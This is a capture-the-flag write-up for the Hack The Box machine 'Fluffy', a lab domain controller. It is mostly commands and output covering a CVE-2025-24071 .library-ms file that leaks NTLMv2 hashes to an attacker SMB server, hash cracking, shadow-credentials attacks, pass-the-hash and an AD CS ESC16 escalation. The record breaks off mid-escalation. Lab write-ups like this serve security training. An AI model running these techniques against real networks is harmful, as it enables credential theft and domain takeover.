Post

HTB Writeup: Fluffy

SMB/LDAP enumeration → CVE-2025-24071 NTLMv2 capture → crack p.agila → abuse Service Account Managers → shadow credentials on winrm_svc → AD CS ESC16 on ca_svc → certificate auth as administrator.

HTB Writeup: Fluffy

A quick walkthrough of HTB Fluffy Windows Easy Box.

TL;DR

  • Start with provided creds for j.fleischman.
  • Enumerate SMB shares and find an IT share with patch notes mentioning CVE-2025-24071.
  • Drop a malicious .library-ms ZIP on the share to capture an NTLMv2 hash for p.agila via your SMB server.
  • Crack the NetNTLMv2 hash with hashcat to get p.agila’s password.
  • Abuse p.agila’s membership in Service Account Managers to add them to the Service Accounts group and leverage GenericWrite over winrm_svc.
  • Perform a shadow credentials attack against winrm_svc (pywhisker + Certipy) to obtain its NTLM hash and WinRM into the DC as winrm_svc → user flag.
  • Use ca_svc (another service account with AD CS rights) and certipy find to identify an ESC16 misconfiguration on the CA.
  • Set ca_svc’s UPN to administrator, then request a certificate and private key with UPN administrator from the vulnerable CA.
  • Restore ca_svc’s original UPN to avoid “name mismatch” issues.
  • Use the administrator.pfx to obtain Administrator’s NTLM hash via Certipy, then PTH with Evil-WinRM to get a full Domain Admin shell → root flag.

Initial enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ sudo nmap -Pn -n 10.129.208.85 -sC -sV -T4 -A -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-24 10:59 CEST
Nmap scan report for 10.129.208.85
Host is up (0.24s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-24 16:04:41Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-06-24T16:06:14+00:00; +7h00m00s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-06-24T16:06:15+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-24T16:06:14+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-24T16:06:15+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49703/tcp open  msrpc         Microsoft Windows RPC
49713/tcp open  msrpc         Microsoft Windows RPC
49733/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time: 
|   date: 2025-06-24T16:05:37
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   19.92 ms  10.10.14.1
2   418.16 ms 10.129.208.85

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 381.78 seconds

Info: As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

Another classic DC setup with SMB, LDAP, Kerberos, and WinRM exposed. No unusual service found so I will begin with shares enumeration.


Foothold

I noticed unusual Read/Write permissions on the IT share for my current user.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ nxc smb 10.129.208.85 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
SMB         10.129.208.85   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False) 
SMB         10.129.208.85   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 
SMB         10.129.208.85   445    DC01             [*] Enumerated shares
SMB         10.129.208.85   445    DC01             Share           Permissions     Remark
SMB         10.129.208.85   445    DC01             -----           -----------     ------
SMB         10.129.208.85   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.208.85   445    DC01             C$                              Default share
SMB         10.129.208.85   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.208.85   445    DC01             IT              READ,WRITE      
SMB         10.129.208.85   445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.208.85   445    DC01             SYSVOL          READ            Logon server share 

The IT Share contains an interesting pdf about patches still to apply for different known CVEs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ impacket-smbclient  'j.fleischman:J0elTHEM4n1990!@10.129.208.85'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
IPC$
IT
NETLOGON
SYSVOL
# use IT
# ls
drw-rw-rw-          0  Tue Jun 24 18:00:09 2025 .
drw-rw-rw-          0  Tue Jun 24 18:00:09 2025 ..
drw-rw-rw-          0  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64
-rw-rw-rw-    1827464  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64.zip
drw-rw-rw-          0  Fri May 16 16:51:49 2025 KeePass-2.58
-rw-rw-rw-    3225346  Fri May 16 16:51:49 2025 KeePass-2.58.zip
-rw-rw-rw-     169963  Sat May 17 16:31:07 2025 Upgrade_Notice.pdf
# 

upgradenotice

Taking a closer look at the listed CVEs, I found that CVE-2025-24071 seems well suitable here. There’s also a public exploit available :

https://www.exploit-db.com/exploits/52310

If someone browses the Share, I should receive the user’s NTLMv2 hash. I will generate the malicious zip containing the .library-ms. This is nothing more complicated than :

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\10.10.14.53\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Once the exploit has generated the zip file, I will manually upload it to the share.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ python CVE-2025-24071.py -i 10.10.14.84 
[*] Generating malicious .library-ms file...
[+] Created ZIP: output/malicious.zip
[-] Removed intermediate .library-ms file
[!] Done. Send ZIP to victim and listen for NTLM hash on your SMB server.
           

┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy/output]
└─$ impacket-smbclient 'j.fleischman:J0elTHEM4n1990!@10.129.208.85' 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use IT
# ls
# put malicious.zip
# ls
drw-rw-rw-          0  Tue Jun 24 19:02:06 2025 .
drw-rw-rw-          0  Tue Jun 24 19:02:06 2025 ..
drw-rw-rw-          0  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64
-rw-rw-rw-        326  Tue Jun 24 18:55:12 2025 Everything-1.4.1.1026.x64.zip
drw-rw-rw-          0  Fri May 16 16:51:49 2025 KeePass-2.58
-rw-rw-rw-        326  Tue Jun 24 18:55:08 2025 KeePass-2.58.zip
-rw-rw-rw-        326  Tue Jun 24 19:02:06 2025 malicious.zip
-rw-rw-rw-     169963  Sat May 17 16:31:07 2025 Upgrade_Notice.pdf
# exit

On my SMB server, I quickly received a response :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ impacket-smbserver shared $(pwd) -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.208.85,50218)
[*] AUTHENTICATE_MESSAGE (FLUFFY\p.agila,DC01)
[*] User DC01\p.agila authenticated successfully
[*] p.agila::FLUFFY:aaaaaaaaaaaaaaaa:873807b52efb22a22a3bc569f4fdd8cb:010100000000000080c2781aefe4db01531c815b44657b680000000001001000520068004e0058006b0046007200620003001000520068004e0058006b004600720062000200100071005200420067007100690056006d000400100071005200420067007100690056006d000700080080c2781aefe4db0106000400020000000800300030000000000000000100000000200000f2aab911a84af61fb46a5f0327190a8ca806f20bfe0e56fc26c03c122b7f50a90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380034000000000000000000
[*] Closing down connection (10.129.208.85,50218)
[*] Remaining connections []

This is the hash for p.agila

Next step is to crack it :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ echo 'p.agila::FLUFFY:aaaaaaaaaaaaaaaa:873807b52efb22a22a3bc569f4fdd8cb:010100000000000080c2781aefe4db01531c815b44657b680000000001001000520068004e0058006b0046007200620003001000520068004e0058006b004600720062000200100071005200420067007100690056006d000400100071005200420067007100690056006d000700080080c2781aefe4db0106000400020000000800300030000000000000000100000000200000f2aab911a84af61fb46a5f0327190a8ca806f20bfe0e56fc26c03c122b7f50a90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380034000000000000000000' > ntlmv2p.agila.txt

┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ hashcat -m 5600 -a 0 ntlmv2p.agila.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz -O         
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 2909/5883 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 27

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
* Passwords.: 14344383
* Bytes.....: 53291283
* Keyspace..: 14344383

P.AGILA::FLUFFY:aaaaaaaaaaaaaaaa:873807b52efb22a22a3bc569f4fdd8cb:010100000000000080c2781aefe4db01531c815b44657b680000000001001000520068004e0058006b0046007200620003001000520068004e0058006b004600720062000200100071005200420067007100690056006d000400100071005200420067007100690056006d000700080080c2781aefe4db0106000400020000000800300030000000000000000100000000200000f2aab911a84af61fb46a5f0327190a8ca806f20bfe0e56fc26c03c122b7f50a90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380034000000000000000000:prometheusx-303
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: P.AGILA::FLUFFY:aaaaaaaaaaaaaaaa:873807b52efb22a22a...000000
Time.Started.....: Tue Jun 24 12:06:14 2025 (5 secs)
Time.Estimated...: Tue Jun 24 12:06:19 2025 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   877.6 kH/s (1.06ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4518000/14344383 (31.50%)
Rejected.........: 2160/4518000 (0.05%)
Restore.Point....: 4516975/14344383 (31.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: promiseskept -> progat@hotmail
Hardware.Mon.#1..: Util: 96%

Started: Tue Jun 24 12:06:13 2025
Stopped: Tue Jun 24 12:06:21 2025

Now that I own this user, I will check what this user can actually do or is part of :

pagila

This user is part of the Service Account Managers group and this group has GenericAll over Service Accounts Group

serviceaccountmanagers

I will add p.agila to this group.

But first check who’s inside this group :

1
2
3
4
5
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy/output]
└─$ net rpc group members "service accounts" -U "FLUFFY.HTB"/"p.agila"%"prometheusx-303" -S "dc01.fluffy.htb" 
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\winrm_svc

Next I’ll Add p.agila and then recheck :

1
2
3
4
5
6
7
8
9
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy/output]
└─$ net rpc group addmem "service accounts" "p.agila" -U "FLUFFY.HTB"/"p.agila"%"prometheusx-303" -S "dc01.fluffy.htb"

┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy/output]
└─$ net rpc group members "service accounts" -U "FLUFFY.HTB"/"p.agila"%"prometheusx-303" -S "dc01.fluffy.htb"         
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\p.agila
FLUFFY\winrm_svc

The Service Accounts group has genericWrite over 3 accounts : ca_svc, ldap_svc and winrm_svc.

genericwrite

Shadow credentials on winrm_svc

A Shadow Credentials attack is a technique where an attacker grants themselves control over a target user or computer account by abusing a legitimate Active Directory feature called Key Credential Link. The attacker adds a new, attacker-controlled public key to the target account’s attributes and then uses the corresponding private key to request a Kerberos ticket-granting ticket (TGT), effectively impersonating the victim.

This is a privilege escalation attack that is particularly dangerous because it requires no direct password interaction and leaves the target’s original password unchanged. In modern Active Directory environments, authentication isn’t just about passwords. Microsoft introduced a feature to support Windows Hello for Business and other certificate-based authentications. This is managed through the KeyCredentialLink attribute on user and computer objects.

This attribute can store one or more public keys. If a user has a public key in this attribute, they can authenticate to Active Directory using the corresponding private key, without needing their password.

I’ll use pywhisker in order to execute this attack :

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ python pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 2d9c2f26-7556-f75d-fac5-d6b127c8cfc6
[*] Updating the msDS-KeyCredentialLink attribute of winrm_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: 7qpl7xAg.pfx
[*] Must be used with password: bXlRZNPENlEC8ZcltGO6
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

We can see obtained a password protected pfx file. I will now authenticate using it and retrieve the NTLM hash for this user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ certipy-ad auth -pfx ./7qpl7xAg.pfx -dc-ip '10.129.208.85' -username 'winrm_svc' -domain 'fluffy.htb' -password bXlRZNPENlEC8ZcltGO6
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'winrm_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_svc.ccache'
File 'winrm_svc.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Got hash for 'winrm_svc@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:33bd09dcd697600edf6b3a7af4875767

Awesome ! Just got winrm_svc hash !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ nxc winrm 10.129.208.85 -u 'winrm_svc' -H '33bd09dcd697600edf6b3a7af4875767'                                    
WINRM       10.129.208.85   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.208.85   5985   DC01             [+] fluffy.htb\winrm_svc:33bd09dcd697600edf6b3a7af4875767 (Pwn3d!)
WINRM       10.129.208.85   5985   DC01             [-] fluffy.htb\winrm_svc:33bd09dcd697600edf6b3a7af4875767 zip() argument 2 is longer than argument 1

┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ evil-winrm -i 10.129.208.85 -u winrm_svc -H '33bd09dcd697600edf6b3a7af4875767'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> 

User Flag

User flag was in the winrm_svc Desktop folder.

winrmsvc


Privilege Escalation

ESC16 attack on ca_svc

Let’s run certipy and analyze the output :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ certipy-ad -debug find -u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' -ns 10.129.208.85 -dc-host 10.129.208.85  -vulnerable -stdout 
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[+] Nameserver: '10.129.208.85'
[+] DC IP: '10.129.208.85'
[+] DC Host: '10.129.208.85'
[+] Target IP: '10.129.208.85'
[+] Remote Name: '10.129.208.85'
[+] Domain: 'FLUFFY.HTB'
[+] Username: 'CA_SVC'
[+] Authenticating to LDAP server using NTLM authentication
[+] Using NTLM signing: False (LDAP signing: True, SSL: True)
[+] Using channel binding signing: True (LDAP channel binding: True, SSL: True)
[+] Using LDAP channel binding for NTLM authentication
[+] LDAP NTLM authentication successful
[+] Bound to ldaps://10.129.208.85:636 - ssl
[+] Default path: DC=fluffy,DC=htb
[+] Configuration path: CN=Configuration,DC=fluffy,DC=htb
[+] Adding 'Domain Users' and 'Domain Computers' to list of current user's SIDs
[+] User 'CA_SVC' has 9 SIDs:
[+]   S-1-5-32-545
[+]   S-1-5-21-497550768-2797716248-2627064577-1607
[+]   S-1-5-21-497550768-2797716248-2627064577-517
[+]   S-1-5-21-497550768-2797716248-2627064577-1103
[+]   S-1-5-21-497550768-2797716248-2627064577-513
[+]   S-1-1-0
[+]   S-1-5-21-497550768-2797716248-2627064577-515
[+]   S-1-5-21-497550768-2797716248-2627064577-572
[+]   S-1-5-11
[+] List of current user's SIDs:
     FLUFFY.HTB\Users (FLUFFY.HTB-S-1-5-32-545)
     FLUFFY.HTB\Service Accounts (S-1-5-21-497550768-2797716248-2627064577-1607)
     FLUFFY.HTB\Cert Publishers (S-1-5-21-497550768-2797716248-2627064577-517)
     FLUFFY.HTB\certificate authority service (S-1-5-21-497550768-2797716248-2627064577-1103)
     FLUFFY.HTB\Domain Users (S-1-5-21-497550768-2797716248-2627064577-513)
     FLUFFY.HTB\Everyone (FLUFFY.HTB-S-1-1-0)
     FLUFFY.HTB\Domain Computers (S-1-5-21-497550768-2797716248-2627064577-515)
     FLUFFY.HTB\Denied RODC Password Replication Group (S-1-5-21-497550768-2797716248-2627064577-572)
     FLUFFY.HTB\Authenticated Users (FLUFFY.HTB-S-1-5-11)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[+] Trying to resolve 'DC01.fluffy.htb' at '10.129.208.85'
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[+] Connected to remote registry at 'DC01.fluffy.htb' ('10.129.208.85')
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[+] Resolved 'DC01.fluffy.htb' from cache: 10.129.208.85
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates                   : [!] Could not find any certificate templates

Interesting line is :

1
Disabled Extensions                 : 1.3.6.1.4.1.311.25.2

ESC16 is a critical misconfiguration where the Certificate Authority omits the szOID_NTDS_CA_SECURITY_EXT extension (OID 1.3.6.1.4.1.311.25.2) on every certificate it issues, allowing UPN spoofing to other accounts, including privileged ones.

Update the victim account’s UPN to that of the target administrator sAMAccountName

1
2
3
4
5
6
7
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.129.208.85'  -upn 'administrator'  -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_svc'

I’ll first grab the NTLM hash for ca_svc, then reuse it for Kerberos authentication in the next steps. I will show 2 different tools for doing that. First using pywhisker for generating the pfx, and then certipy for authenticating with this pfx.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ python pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "ca_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: fafe1aa4-2db8-cd5b-de56-a1ad908135d5
[*] Updating the msDS-KeyCredentialLink attribute of ca_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: 4czEtJlX.pfx
[*] Must be used with password: P8oZA0EtoL9SbW9mCv6v
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

I can now authenticate and retrieve the hash which I will reuse for Kerberos authentication.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ certipy-ad auth -pfx ./4czEtJlX.pfx -dc-ip 110.129.208.85 -username ca_svc -domain fluffy.htb -password P8oZA0EtoL9SbW9mCv6v
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
File 'ca_svc.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Got hash for 'ca_svc@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:ca0f4f9e9eb8a092addf53bb03fc98c8

Second tool is to do the all-in-one using only certipy :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Fluffy]
└─$ certipy-ad -debug shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303'  -account 'ca_svc' auto 
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: None
[+] DC IP: None
[+] DC Host: 'FLUFFY.HTB'
[+] Target IP: None
[+] Remote Name: 'FLUFFY.HTB'
[+] Domain: 'FLUFFY.HTB'
[+] Username: 'P.AGILA'
[+] Trying to resolve 'FLUFFY.HTB' at '192.168.1.1'
[+] Resolved 'FLUFFY.HTB' from cache: 10.129.208.85
[+] Authenticating to LDAP server using NTLM authentication
[+] Using NTLM signing: False (LDAP signing: True, SSL: True)
[+] Using channel binding signing: True (LDAP channel binding: True, SSL: True)
[+] Using LDAP channel binding for NTLM authentication
[+] LDAP NTLM authentication successful
[+] Bound to ldaps://10.129.208.85:636 - ssl
[+] Default path: DC=fluffy,DC=htb
[+] Configuration path: CN=Configuration,DC=fluffy,DC=htb
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'ec716edc29fa4557803620cd5ce4f830'
[*] Adding Key Credential with device ID 'ec716edc29fa4557803620cd5ce4f830' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'ec716edc29fa4557803620cd5ce4f830' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC fluffy.htb (10.129.208.85)
[*] Got TGT
